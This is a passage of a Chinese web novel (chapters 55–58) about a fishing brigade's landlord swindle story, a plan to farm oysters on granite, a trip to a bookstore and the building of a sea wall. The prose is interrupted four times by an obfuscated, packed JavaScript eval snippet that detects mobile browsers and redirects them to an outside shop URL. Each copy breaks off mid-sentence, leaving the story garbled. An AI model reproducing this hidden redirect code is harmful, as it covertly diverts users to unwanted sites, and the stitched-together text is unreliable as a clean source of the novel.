“咋回事啊?”宁文问。 “我回来把这事一解释,大家伙说这听着好像解放前,百步蛇干过的事。” 徐夏好奇地问:“百步蛇?百步蛇不是一种生长在水边的毒蛇吗,传说中被它咬了后,不出百步必死无疑,实际上都是以讹传讹,被它咬了致死率并不高,但是致残率极高,会导致伤口坏死,叫它‘烂肉蛇’更加贴切……” “谁要你掉书袋了,”宁富田见徐夏越扯越远,赶紧打断,“我们说的是解放前的百步蛇,是个人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095902|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐夏和宁文异口同声地说:“他是谁?没听过呢。” “不怪你们不知道,这百步蛇作恶的时候,你俩连个受精卵都还不是,那会儿解放大队还叫宁家村。文老师还没来插队,宁海也还是个小孩子……”宁富田端起面前的一盅浓茶,缓缓讲述起来。 解放前,宁家村的地主姓王,单名一个霸字,人如其名,是横行乡里,欺男霸女,无恶不作。 但是人家有钱啊,解放大队的渔船都属于百步蛇,渔民只能每年向他上交一定量的渔获物,租赁渔船。 解放前年景不好,王家的租金却是连年上涨,欺压得宁家村的人各个叫苦连天,苦不堪言。 卖儿卖女的事,时有发生。 连宁富国和宁富田也在百步蛇手下做长工,一年辛苦到头,不仅半分钱存不到,还要倒欠百步蛇的。 有一年实在过不下去了,渔民们上王家求请,希望他能看在大家从小一起长大的份上,减点租金。 百步蛇这次倒是没直接拒绝,反而向渔民们提出,由他牵头,每户拿出10元钱作为投资,合伙养蛏子,到时候赚了钱,大家分。 心思单纯的渔民以为他是转了性,有的是卖了老婆的嫁妆,有的跑去城里卖血,竟然都想方设法凑够了钱,交给了百步蛇。 百步蛇收到钱以后,装模作样带着手下人在海边挖了个四四方方的池塘,撒播了苗种,就再也没有下文了。 时间久了,渔民们都起了疑,纷纷上门问百步蛇怎么回事。 百步蛇推说蛏子生长需要时间,让大家耐心等等。 谁知道过了没一个月,一天海里起了大风浪,一个浪头拍过来,就把那池塘里的东西都冲上了沙滩。 渔民们这才发现,池塘里哪里有活蛏子,全是些去了肉的空壳。 百步蛇播种的压根就不是苗种,而是他吃完蛏子肉后剩下来的壳。 渔民们拿起锄头和镰刀上王家讨说法。 哪知道百步蛇一点儿不害怕,用牙签悠哉悠哉掏着牙缝,连打了数个饱嗝才说,他替大家分担了一半的风险,大家是狗咬吕洞宾,不识好人心。 大家拿出空壳蛏子质问百步蛇。 百步蛇推说是宁家村的气候太靠北方了,不适合养蛏子。 渔民们哪里相信他的说辞。 百步蛇见家门口聚集的人越来越多,变了脸色,手伸到半空中打了个响指,王家的下人便一个个端着枪走了出来。 渔民们看到那对准自己脑袋,黑洞洞的枪口,心里有再多的不满和愤慨,也只能咽了下去。 真是哑巴吃黄连,有苦说不出。 这10元钱,可是大家辛辛苦苦凑出来的,就这样打了水漂。 看着百步蛇嬉皮笑脸的样子,渔民们才明白,这养蛏子,压根儿就是百步蛇设好的圈套,等着大家往里跳呢。 徐夏感叹道:“难怪叫百步蛇呢,这可真是杀人不见血。” “后来呢?”宁文迫不及待地问。 55.第 55 章 “土改来了,他这种坏人还能逃得掉,早就吃枪子儿了,”宁富国解释道,“一朝被蛇咬十年怕井绳,这件事给大家带来太大的阴影了,所以才会这么反对。” 徐夏双眼亮晶晶,一边举起温水瓶给宁富田倒水一边说:“支书,咱别把摊子铺太大,先整个小的养殖池,等赚了第一笔钱,大家自然就放心了。” 宁文附和道:“就是,反正这海塘是学生挖,也不需要大家出力。” 徐夏重新坐回板凳上:“就是到时候需要有人定时去巡逻,这个还得找几个人。” “这事情好办,大队干部排个表,轮流去就行了,”宁富田说,“不过你们说,咱们养什么好?海带?蛏子?” 徐夏摇摇头:“不,这些都卖不起价,我们要养,就养牡蛎。” 宁富田瞪圆了眼,长大了嘴:“牡蛎?那可是达官贵人才吃得起的东西。” 牡蛎从古至今都是名贵的海产品,深受国内外有钱人的喜爱。 “没错,”徐夏点点头,“如果咱们能大规模养殖牡蛎,一定能赚不少钱。” 听到能赚大钱,宁富田高兴得眉开眼笑:“养、养、养,就养这个牡蛎,哈哈哈……。” 宁富田的笑声还没落地,郑小英就插嘴:“那这苗种从哪里买啊?肯定要不少钱吧?” 宁富田听到要花钱,直接被呛得干咳了起来。 宁文赶紧把搪瓷盅递上去,右手不住地拍宁富田的后背。 徐夏眨眨眼:“不用买,到时候你们就知道了。” 宁富田把搪瓷盅“嘭”地砸在桌上,催促道:“嘿,你还卖上关子了,快老实交代。” “支书,你就别问了,这军令状我今天立下了,苗种我肯定能解决,而且不花一分钱。” “不花钱”三个字可算是说到宁富田心坎里了,一张老脸笑得眼睛嘴巴都快看不见了:“好、好、好,我不问了。” 宁文哭笑不得,要不是她知道徐夏是个办事牢靠的,可不会这么轻易放过她。 “苗种这事就算了,”郑小英可不是个轻易能糊弄过去的,“可是你们会养牡蛎的技术吗?” 这下可真问到点子上了。 刚才还笑容满面的宁富田一下子被问住了:“我是不会,但是人徐夏肯定会吧。” “她肯定会!”宁文不愧是徐夏的忠实捧场者,斩钉截铁地答道,“就没有我们徐夏不会的。” 闻言,宁富田和郑小英都目光灼灼地看向徐夏。 对上三个人殷切的目光,徐夏不好意思地挠挠头:“这我还真没干过。” “啊?”宁富田大失所望,“不会你说这么多干嘛,还和你们班主任说好了让学生们来挖海塘,这不瞎忙活嘛。” “大爷,你别急啊,”徐夏拿手指着自己的脑袋说,“我只说自己没干过,可没说自己不会啊,这方法都在我脑子里呢。” 宁富田这才放下心来,右手不停地抚摸自己的胸口:“你这妮子,说话怎么大喘气,吓死我了。” 徐夏笑眯眯地说:“那不都和您学的。” “那你快说说,这牡蛎该怎么养?”宁富田催促道。 刚才还闹哄哄地堂屋瞬间安静下来,伴随着煤油灯摇曳的微光,徐夏慢悠悠讲了起来:“牡蛎,也就是俗称的生蚝,其养殖历史,可以追溯到两千多年前,明朝的《蛎蜅考》也曾详细记载了插竹养蚝的方法……” 宁富田打断道:“你别掉书袋了,直接说重点行吗?” 徐夏一口气卡在喉咙里,咳嗽了两声,继续说起来:“插竹养蚝,顾名思义,就是把竹子固定在海里,等牡蛎附着在上面生长就行了。” 宁富田:“就这么简单?随便挑几根竹子插上就行?” 徐夏:“那倒也不是,这竹子嘛最好要选1.5米到2米长的,直径至少要有10cm,一堆6根捆成漏斗状,倒扣在海里……” 宁富田脸色越来越难看,解放大队这里,连烧火的木柴都没有,又去哪里寻那么多竹子,还有规格要求的。 郑小英也皱起了眉,一言不发。 徐夏将这一切收在眼里,含笑说:“这是古代的插竹养蚝的方法,咱们未必就要照抄照搬。” 宁富田:“那还能怎么改进呢?” “没有竹子,咱们可以用花岗岩代替啊,”徐夏指着屋外的小喇叭说,“前儿不是广播说了嘛,咱们华国正在大力开采花岗岩啊。” 华国地大物博,矿产资源丰富,花岗岩更是其中的佼佼者。 解放后,各地政府对工业进行了大规模的社会主义改造,随着凿岩机、吊车、起重机等生产工具的出现,花岗岩的开采和加工得到迅速发展。 受此影响,华国的许多建筑都使用了这种坚硬耐磨的材料,远的有平京的人民英雄纪念碑,天京的雨花台北殉难处烈士大型雕像,金城的黄河母亲像,近的有阳县的友谊商店。 宁富田:“还是你脑袋灵光,花岗岩可比竹子耐用。” 花岗岩质地坚硬,牡蛎附着后不易于脱落。 “但是买花岗岩需要不少钱吧,谁出啊?。”郑小英嘴上说着话,眼神一直在宁富田身上乱扫。 听见这话,徐夏和宁文都笑了起来。 郑小英这是拿话在点宁富田呢,谁不知道这宁支书哪里都好,就是抠门,把着队里的钱不放手,轻易不能让他出血。 “你别在那阴阳我,钱要花在刀刃上,我要是手不紧,队里哪来的钱搞集体经济,”宁富田猛然站起来,边朝外面走边说,“我这就去找赵书记,请他批条子上石厂买花岗岩,” “大爷,石头一定要挑青白色的,牡蛎喜白!”徐夏扒在门上扯着嗓子喊。 “知道了……”宁富田的声音回荡在夜空中,久久不曾消失。 第二天中午吃过饭,徐夏和宁文就收拾好书包,急匆匆离开了解放大队。 许老师周六放学说了,有愿意拔高的同学,周日一定要去华新书店买新到货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114322|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的学习资料。 别人也就算了,成绩位于年级前十的徐夏和宁文可不就是那需要拔高的。 现在不像是后世,教辅资料种类繁多,各种书店遍地开花,整个阳县都只有一个华新书店。 徐夏和宁文是紧赶慢赶总算在下午之前骑到了华新书店。 华新书店往左数三个铺面就是友谊商店,它虽然也是国营的,但远没有友谊商店那么气派,甚至连渔阳公社的供销社都比不上。 门面极小,只有十来个平方,也谈不上什么装潢,墙面的腻子和地面的水泥都没抹平,几个简陋破旧的置书架就是它全部的家当。 但可别小瞧了这华新书店,它装修的是很简单,但是华国最新出炉的教辅资料,这里准保能买到。 为啥?谁让人家不是一般的地方国营商店,是中央直属的。 不信你瞧它招牌下面挂着的横幅,上面的大字写着:“今有新到货高中教辅,先到先得,过时不候。” 徐夏刚把自行车停在书店门口,一个穿着红色背心制服的营业员就走了过来,语气不善:“哎,说你呢,别把车停这儿,挡路,怎么这么不懂事,一点不为别人想想。” 徐夏越看眼前这人越眼熟,嗨,这不是陈丽珠嘛,她怎么跑华新书店当营业员了。 华新书店这营业员可不是谁都能当的,吃香程度仅次于友谊商店的售货员,比做纺织厂的工人还令人羡慕。 当工人还得在车间里三班倒卖苦力,这书店的营业员可是风吹不着、日晒不着,每天就点点货,朝九晚五,准时上下班。 真是仇人见面分外眼红,宁文想起之前期中考试陈丽珠冤枉徐夏的事,听了这话,挽起袖子就要上去同她理论。 徐夏赶紧伸手把她拽了回来:“好汉不吃眼前亏,你同她吵架,她不卖给我们怎么办?” “表妹,你干嘛把我衣服穿了去。”一个身材高挑的青年女性突然从书店里走了出来,只见她上身穿着一件白色衬衫,下身一条黑色长裤,头上的马尾辫不停地左右晃动着,别提有多精神了。 “表姐……”陈丽珠讪讪道。 “我就让你帮我看会儿店,你咋就把衣服也套上了,以后你别来我们书店了,还在这吼客人。” 怪不得这陈丽珠身上的制服看着那么不合身呢,原来压根儿就不是她的啊。 徐夏和宁文忍不住笑出了声。 这营业员三两下把背心从陈丽珠身上扒下来,又迅速给自己套上,双手整理了下衣摆,冲着徐夏鞠了个45度躬:“不好意思,我替她给你们道歉,买教辅资料是吧,快进来选吧。” 徐夏刚才就觉得奇怪,这华新书店离友谊商店这么近,如果营业员的态度不好,这路过的客人要是瞧见了,可不得连带着给友谊商店扣表现分。 见营业员这么热情,徐夏赶紧将自行车锁上,同宁文手牵着手就要进去。 此时,身后突然传来了一个陌生的声音:“宁文,你咋不进去?” 56.第 56 章 徐夏脚步一顿,回头望去。 发出声音的是个从来没见过的女生,身上斜跨着一个军绿色的包,鼓鼓囊囊的,看样子也像是个学生。 徐夏弯起胳膊碰了下宁文:“你朋友?” “不认识。”宁文摇了摇头。 更为奇怪的是,这个陌生人的眼神并未在宁文身上停留,反而一直盯着陈丽珠,显然是她的熟人。 徐夏四处张望了一下,除去华新书店里有几个正在聚精会神翻书的学生,门口并没有其他人。 “哎,同学……”徐夏正想问问这个陌生女孩儿这是怎么一回事,哪知陈丽珠慌里慌张住徐夏和宁文,将手里抱着的一沓教辅资料塞到面前的女生手里:“东西买好了,走吧。” 话音未落,陈丽珠就牵起这个女生的手,急冲冲地开跑,很快两人就消失在了徐夏的视线中。 “奇了,刚才和陈丽珠一起的女生叫得是我的名字吧?”宁文抠着脑袋问。 徐夏皱起眉:“莫非咱俩幻听了?把陈丽珠听成宁文了?” 不能够啊,她俩再耳背,三个字和两个字还是能分辨得出来啊。 “你们是我表妹的同学?”旁观了这场闹剧的售货员斜倚着门框,抄着双手问。 徐夏点点头:“我们是阳高的学生,以前和陈丽珠是一个班的。” “哦,阳高的,那就是她原来的同学了,”售货员表情怪异,语气玩味,“怪不得她刚才针对你俩。” 徐夏心里咯噔一声,不知道陈丽珠在家里怎么形容的她们,肯定没句实话,也没句好话。 不知道她这个售货员表姐会不会趁机报复,虽然她刚才还替陈丽珠道歉了,但那时候她只以为两人是普通的客人,可不知道还有这一层关系。 “我表妹这个人,想一出是一出,放着好好的阳高不读,非说宿舍有几个同学抱团霸凌她,哭着闹着要转学。” 看吧,在陈丽珠嘴里,她俩和赵晓莹都成了十恶不赦的坏学生。 想到这里,徐夏和宁文交换了一个眼神,一定不能在这时候承认两人就是陈丽珠的前舍友,毕竟买教辅资料要紧。 哪知这售货员眨眨眼睛,说出了一番令人意想不到的话:“你俩是她同学,肯定知道她这话是假的吧。” 宁文吃惊地问:“姐姐,你怎么知道的?” “你们不知道,我这表妹,从小是一点亏不肯吃,小时候我得了什么好东西,她都得抢过去,”售货员撸起袖子,指着胳膊上一团灰色的皮肤说,“喏,这就是小时候我不给她糖,她拿木炭烫得,你们说说,她这种性子,怎么可能无端端被别人霸凌。” 嚯,这陈丽珠还是个窝里横。 宁文:“你们家里人都不管吗?” 售货员满脸愤懑:“我姥爷偏心得没边了,觉得我是外孙女,不和他姓,是个外人,只会拉偏架。” 怪不得刚才售货员扒陈丽珠衣服是一点儿不带犹豫的。 “现在可好,她直接把名字都改了,跟她妈姓宁,看我姥爷以后还怎么说。”售货员继续说道。 “啊?”一个古怪念头在徐夏脑海里产生了,小心翼翼地试探道,“莫非,她改名字叫宁文?” “你怎么知道?”售货员点点头,“虽然我不喜欢她,还是得承认,丽珠这名儿多洋气,不知道怎么想得。” 原来刚才陈丽珠的朋友 ,叫得真是宁文,不过此宁文非彼宁文罢了。 “瞧我,一说起话来就没完了,”售货员拍了脑袋一下,指着置书架上的一垒书说,“你俩也是来买这新到的教辅资料吧,还好你俩来得早,就剩下这最后四套了,一套两元,两套打九折,要是四套全买啊打八折!” 华新书店虽然门面小,但卖的资料是最齐全的,不光是整个阳县的学生喜欢上这儿买教辅,附近几个县的,也宁愿多走十几里路上这儿来买。 听到多买有折扣,徐夏扯过宁文悄悄说:“不如给孟珏和晓莹也带一套,万一他俩没买到呢。” “行,反正四套全买才六元四,”宁文一口答应,从口袋里数出钞票,转身递给售货员说,“姐,都包起来吧。” 现在宁家收入多了,日子也好过了,徐夏和宁文花起钱来是眼睛都不眨了。 "哎!"售货员高兴得眉开眼笑,从置书架上拿出四套资料,用塑料绳仔细缠好,递给徐夏和宁文,“下次有新的教辅,我提前通知你们哈。” 两人将四套教辅装入自行车的前框里,见时间还早,便决定先去一趟纺织厂。 骑了半个小时的路程,两人就到了目的地。 家属区的规矩严,没有特批,货车和小汽车是不能开进去的。 如果是骑自行车的,甭管你是领导还是普通职工,只要进了大门,都得从自行车上下来,老老实实地推着进去。 不为别的,就为了安全,家属区住着那么多老人小孩儿,要是有不长眼的把别人撞了,那不摊上事儿了。 宁文刚从后座上跳下来,就看见孟奶奶急吼吼地往外走,连忙高声叫道:“孟奶奶!你去哪儿啊?” 孟奶奶闻声望过来,慈祥地笑着:“哟,你俩咋来了,这不肉联厂新到一批猪下水,我打算去买点呢。” 别看猪下水闻着臭,洗干净之后吃着可香了,价格还不到普通猪肉的三分之一,又不要肉票,简直和白送没什么两样。 “我们刚上华新买了教辅,顺便给孟珏也捎了一份。”徐夏指着自行车前框说。 “哎哟,你俩可真有心,直接上家里吧,孟珏也才回来没多久呢,”孟奶□□也不回地说道,“我可得走了,去晚了人家该卖完了。” 两人熟门熟路地走到孟家楼下,徐夏将自行车绑在楼梯口的栏杆上,从车筐里捧出一套教辅,“咚咚咚”跑上了二楼。 孟家的门是双层的,里面一扇木门没关,掀着一条缝儿,外面这间铁栅门牢牢地锁着。 见没有地方敲门,徐夏只得扒拉着栅栏喊起来:“孟珏,快出来开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126792|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门!” “谁啊!”孟珏不耐烦从房间里走出来,一看见徐夏和宁文,耷拉着的嘴角立刻就翻转了方向,“你俩咋来了。” 徐夏将手里的教辅拧到他眼前:“给你带的资料,华新都卖断货了。” “啊?给我的!”孟珏的表情从吃惊迅速变成了欣喜,嘴角都快翘到天上去了。 徐夏催促道:“乐傻了是吧,愣着干嘛,开门儿啊。” 孟珏这才如梦初醒般从裤兜里摸出铁门的钥匙,“啪”地一声打开锁,“快进来坐。” 徐夏将手里的教辅塞到孟珏怀里,拉着宁文大咧咧在沙发上坐下。 孟珏狗腿地戳开电视机。 这黑白电视还没有遥控器,屏幕旁有个圆形旋钮,用来转换频道。 拧来拧去,不是在放新闻,就是在放革命样板戏,都看腻了。 没想到扭到沪台,竟然在转播电视剧《公社党委书记的女儿》。 “停!就看这个!”几个月没见过电视的徐夏指着屏幕兴奋地说,“公社党委书记的女儿,我看这电视剧名字可以改成《赵晓莹》。” 宁文笑得趴在沙发扶手上,一抬头,眼神却被餐桌上的一堆书吸引了。 只见孟家餐桌上整整齐齐码着三套书,外包装上的牛皮纸用黑笔写着几个大字——教辅资料,华新书店新到货。 徐夏和孟珏可真是心有灵犀一点通,怪不得孟奶奶说他刚回来。 跟在后面的孟珏注意到宁文的眼神,一边冲她作揖一边挡在餐桌前,用手将那堆教辅资料往里推了推,又从板凳上拿起饭菜罩将它笼住。 宁文将这一切收在眼里,她也懒得戳穿,干脆做个顺水人情。 幸好徐夏正目不转睛的在看电视,半点儿没注意到两人的小动作。 确认从饭菜罩外面看不出来里面的内容,孟珏深吸了一口气,镇定地说:“给你们尝个新东西。” 徐夏:“什么新东西?” 孟珏钻进厨房,拿出两个装着橙色液体的玻璃瓶子放到茶几上:“北冰洋汽水,老好喝了。” 徐夏和宁文一路过来是滴水未进,嗓子眼儿早就渴的冒烟饿了,也不和他客气,一人取了一瓶,咕噜咕噜地大口喝了起来。 这《公社党委书记的女儿》讲的还是老一套——知识青年上山下乡,扎根农村。 打开电视的时候已经播完半集了,看了没二十分钟就演完了,画面“唰”的一声变成了满屏的“雪花”。 三人见时候也不早了,便收拾好书包一起骑去了阳高。 果然上晚自习的时候,许老师就宣布,从这周开始,课程调整,每天下午统一去解放大队学农。 一听到这消息,学生们都高兴坏了,一时间,教室里充斥着欢声笑语。 赵晓莹也不例外,她转过来,笑嘻嘻地说:“说是去学农,和玩儿也没什么两样了。” 徐夏抿抿嘴:“你别高兴的太早,这次怕是没以前那么轻松了。” 57.第 57 章 “咋的,你们队还能突然多出来几百亩地给我们种啊?”赵晓莹满不在乎地说。 “那倒不会,”徐夏摇摇头,“不过我们队准备搞海水养殖,要先修条海塘,防止大风大浪影响。” 赵晓莹脸色一下子就变了,叫苦连天起来:“啊?现在退出还来得及吗?” 宁文双手大拇指贴在太阳穴上,舌头也吐出来,扮了个鬼脸:“赵大班长,你现在退学就来得及。” 气得赵晓莹就要起身锤宁文,哪知宁文早有防备,直接从座位上跳了起来,两个人在教室里你追我赶,好不热闹。 第二天中午学生们吃过饭回到教室,屁股还没坐热,就听见教室外面传来一阵此起彼伏的“沙沙”声。 徐夏伸长脑袋,透过窗户,看见一辆辆公交车缓缓在教学楼前停下。 伴随着公交车的“滴滴滴”声响起,许老师走进教室:“大家准备上车吧,咱们人齐就出发。” 闻言,学生们鱼贯而出,确认大家都上车了,许老师便冲司机点点头。 一阵低沉有力的轰鸣声过后,高一四班又一次踏上了去解放大队的路。 快要驶拢目的地,赵晓莹远远地望见村口乌压压的都是人,便把熟睡的徐夏和宁文摇醒:“你们队咋还来这么多人欢迎我们啊?” 宁文睡得迷迷糊糊,眼睛都睁不开了,嘴里嘟囔着:“该起来做早操了吧,快、块、快,把我的书包递给我。” 这下不光把赵晓莹逗笑了,整辆公交车里的同学都“哈哈”大笑了起来。 这下宁文和徐夏终于清醒了。 只见村口密密麻麻站了有几十个人,打头的正是宁富田和郑小英。 车一停稳,宁文抢先跳下去,走到人群前面问:“大爷,你们咋来了。” 不等宁富田解释,郑小英就笑着抢答:“这不我把你们学生要来给我们修海塘的事和大家一说,都闹着要和你们一起呢。” 周围的乡亲七嘴八舌说起来。 “哪儿能让你们干,我们吃现成。” “就是,没这个道理。” “你们一个个都细皮嫩肉的,要是不小心伤着了,都不用你们父母心疼,我都不落忍。” 赵晓莹刚下车,就听见这话,“唰”地一下撸起袖子,伸到大家面前:“看我这胳膊怎么样,打几个坏人不成问题。” 村民们都被她逗得捧腹大笑了起来。 原来这几天郑小英吃完晚饭,就带着孙女到处串门,顺嘴就把学生们要无偿来给队里修海塘的事讲了出来。 她其实也长了个心眼,想看看大家是不是那起子心口子厚的人。 解放大队的妇女大多都淳朴,原本不是很支持队里搞养殖的,听到学生们要来出力,一个个都埋怨郑小英不该这么占人家便宜,闹着也要一起来,大不了晚上回去点灯熬油多做点家务。 郑小英见目的达到,便早早地通知大家,今天等在村口,待学生们一到,就一起去挖海塘。 徐夏在旁边粗略一数,除去宁三水带了两船人出海,队里在家的婶婶姨姨几乎都来了,竟然连刘棒槌他妈秦神婆秦凤仪都在。 徐夏分明看见秦凤仪眼神中有一闪而过的恨意,她拉过宁文,朝着秦凤仪的方向努了努嘴,压低声音说:“她怎么来了,别不是来捣捣乱的吧。” 郑小英耳朵灵光,听见徐夏的话,安慰道:“秦凤仪闹着要来帮忙,我也不好拒绝她,不过你们放心,她要是敢作怪,我第一个不答应。” 许老师见学生们都下车了,便走到宁富田跟前问:“宁支书,你先领大家上场地看看吧。” 宁富田一把扯过徐夏,小声说:“之前忘了问你,这养殖场该选在哪儿啊?” 徐夏拍拍宁富田的胳膊:“放心,我都选好了,就队部后面200米那块沙滩,地势和地质都很适合。” “行,那咱们就上那儿去。”不知不觉中,宁富田现在对徐夏已经是十分的信服。 先带着大家去队部的仓库取了工具,等一行人到了沙滩上,秦凤仪果然按耐不住,率先发难:“你们这选的是什么地儿,又是泥又是沙的,能养牡蛎吗? 还不如我家后面那块地,又没有沙子,纯泥地,啥工具都能轻轻松松插进去。” 说完,秦凤仪还将手里的铁锹用力往下按了按,一松手,铁锹便“啪嗒”一声倒在了地上。 周围的人见状都小声嘀咕了起来,原本坚定的眼神也开始动摇。 秦凤仪见目的达到,更加得意了。 郑小英正欲开口喝止,没想到徐夏冲她摇了摇头。 “秦大妈,你听我一点一点给你掰扯。” 秦凤仪哼了一声,抄起手,语气不善:“我倒是要听听你嘴里能翻出什么花来。” 徐夏蹲下身,双手捧起一把泥沙,伸到秦凤仪眼前,缓缓解释道:“我们预备用花岗岩作为牡蛎的附着基,大家都知道,花岗岩很坚硬,如果是全泥地,就会下沉过深,留不出多少位置给牡蛎。” “这话倒是没错。”刚才还左摇右摆的人,这会儿都点头附和起来。 秦凤仪犹自不服气:“那选沙地不就行了,陷不进去,整块石头都能给牡蛎附着,我看郑小英家后头那块就行。” “你可闭嘴吧,如果是纯沙地,压根就插不稳,一个不好就倒在地上了,还养啥?”这下不用徐夏开口就有人出言反驳了。 “没错,”徐夏点点头,脚用力向下一踩,就陷进去两寸,“沙地和泥地都各有优劣势,只有这种泥沙混合的地,花岗岩插进去,既不会下沉过深,也不会因为固定不牢而倒伏,大家都可以踩踩试试。” 闻言,学生和乡亲们都争先恐后地跺起了脚,秦凤仪见大家没被她带沟里,灰溜溜地走了。 许老师见大家都没有疑问了,便冲着宁富田说:“宁支书,你给大家分配下任务吧,一会儿涨潮了,可干不了活了。” “行,给大家介绍一下,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138435|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两位是我从隔壁公社请来的石匠,他们负责筑塘口,”宁富田指着队伍里的两个陌生中年男子说,“咱们解放大队的呢吃点苦,拿工具去山上凿石头运石头,学生们就去拖沙子,干到六点,咱们就结束,一起上队里食堂吃现成。” 用钱买石头太贵,队里的公共资金都拿去买花岗岩了,就算宁富田舍得,也是巧妇难为无米之炊。 要不是筑海塘必须请这石匠,他怕不是宁愿自己亲自上阵。 宁富田分完工,大家便拿起工具,热火朝天地干了起来。 郑小英领着妇女们推着木驾车上了解放大队的后山。 后山上散落着不少形状不规则的石块,大家先将这些石块一一搬上车,没想到这石头看着多,实际上连一半的木驾车都没装满。 大家纷纷掏出锤子和凿子,对着山上的巨石就开干。 就这样凿了大概半个小时,有的人手掌磨破了,还有的人虎口被震裂了,却没有一个人停下了手上的动作。 但是除去大家脚边散落的一滩滩小碎石,这巨石仍然浑圆一块,手工开凿效率实在太低了。 郑小英看着仍旧空荡荡的车厢,摸着纹丝不动的巨石说:“你们先去山脚等等我。” 确认所有人都下山之后,郑小英从自己面前的那辆木驾车上取出一包炸药,塞到大石头缝里,然后“嗤”的一声用火柴点燃,脚不沾地地向山脚跑去,将引线燃烧的“嗞嗞”声远远地甩在身后。 她刚到山脚,只听见“嘭”的一声巨响,脚下的地都被震得晃了两三下。 众人重新回到山上,只见原先那块巨石已经四分五裂,忙上前将石头抬上了尚未装满的木驾车。 没想到打石头难,运石头更是难上加难。 上百斤重的石头,一个套着缰绳在前面拉,一个扶着车厢在后面推,每一步都走得分外艰难。 现下天气已经有些冷了,众人的衣襟却都湿透了,额头上还布满了密密麻麻的汗珠。 下山路格外难走,一个不注意就会翻车。 到了山下,只见学生们也拉着一车车的沙回来了。 徐夏双腿浸没在冰冷的海水里,觉得身上发冷,仿佛还能听见自己上下牙碰撞在一起的“咯咯”声。 两个石匠站在沙滩边,一人手持榔头,一人手扶木桩,嘴里喊着“嘿桌嘿桌”,一个下午过去,一排排的地基就打成了。 还没到六点,宁富田站在斜坡上吼起来:“涨潮了,快走、快走。” 接下来的一个月,除去每天下午学生们来帮忙,解放大队的妇女是披星戴月,早上五点就出工,凿石、炸石、运沙、捧泥、砌墙、建塘角……一直干到凌晨才回家。 就这样没日没夜地干了一个月,后山被挖去了一小半,终于在滩涂边垒起了条长达百米的海塘。 原定三个月的工期,直接缩短了两倍。 宁富田也终于带着人将花岗岩运来了,只等着徐夏周六回来附苗。 58.第 58 章 周六放学,徐夏、宁文同赵晓莹牵着手一边说笑话一边慢悠悠往前走。 “快看,那不是你们队的宁支书吗?”赵晓莹突然指着前方说。 徐夏和宁文循声望去,只见宁富田站在校门口,佝偻着背双手推着一辆自行车,伸长了脖子,正在四处张望着。 嘴里还叼着一根烟头,快要燃尽了。 看到徐夏和宁文,宁富田眼前一亮,高高举起手在空中摇晃:“徐夏、宁文,快点出来!” “你俩快去吧!”赵晓莹松开牵着两人的手,用力往前一推。 徐夏和宁文顺势加快了脚步,穿过拥挤的人潮,咚咚咚跑到校门口,上气不接下气地问:“大爷,你咋来了?” 宁富田的脸原本就布满了皱纹,此时因为笑得合不拢嘴更显得沟壑纵横:“我托人买的花岗岩到啦!你们快和我回去,把它插上吧。” 徐夏想都不用想就拒绝:“那不行,我们今晚得去小姨家住呢。” “我能不知道你们要去李萍那里?”宁富田抽出嘴里熄灭的烟头,顺手就扔在了地上,一边用脚碾一边解释,“我先去了中心小学,把事情讲了,人李萍就比你们懂轻重缓急,让你们跟着我直接回队里呢。” “那也行吧。”徐夏扁扁嘴,李萍集体意识强,习惯了把集体利益放在个人利益前面。 “那我就不同你们一道了哈。”赵晓莹此时刚走到校门口,听见宁富田的一番话,便主动同几人说再见。 与赵晓莹分开后,三人把自行车蹬得快冒烟了,一个小时出头就到了队部后面那快地。 岸上堆放着一车一车的花岗岩,此时已经有不少人站在旁边等着了。 成形的海塘旁留出了一个半米的缺口,允许海水自由地从这里出入。 宁富田手指向木架车说:“徐夏,你看这花岗岩怎么个摆法,石头买的不多,应该摆不满。” 徐夏扫了一眼花岗岩,从书包里掏出一把软尺,将头递给宁文:“数量应该是够了,每个花岗岩之间要空出一米的距离。” “干嘛留这么大位置?”宁富田不解,“挨在一起不是更省事?收获的时候也更方便。” 